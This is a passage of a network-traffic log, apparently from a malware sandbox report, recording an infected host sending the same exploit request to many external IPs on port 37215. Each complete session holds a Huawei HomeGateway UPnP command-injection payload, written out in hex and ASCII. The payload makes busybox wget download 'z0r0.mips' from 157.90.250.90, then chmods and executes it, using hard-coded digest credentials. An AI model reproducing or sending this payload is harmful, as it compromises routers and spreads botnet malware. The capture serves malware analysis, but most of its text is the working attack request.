4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	46910	156.244.170.80	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.408237934 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	58070	156.241.177.227	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.408710003 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	34998	197.189.180.232	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.409157038 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	47708	197.241.234.235	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.409631968 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	51976	156.41.38.126	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.410135984 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	51982	197.155.147.73	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.410629034 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	42164	197.22.134.226	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.411118984 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	60128	156.142.143.175	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.411619902 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	55416	156.155.65.188	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.412122011 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	36698	41.26.12.27	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.412621021 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	54482	41.159.45.219	37215

Timestamp	Bytes transferred	Direction	Data
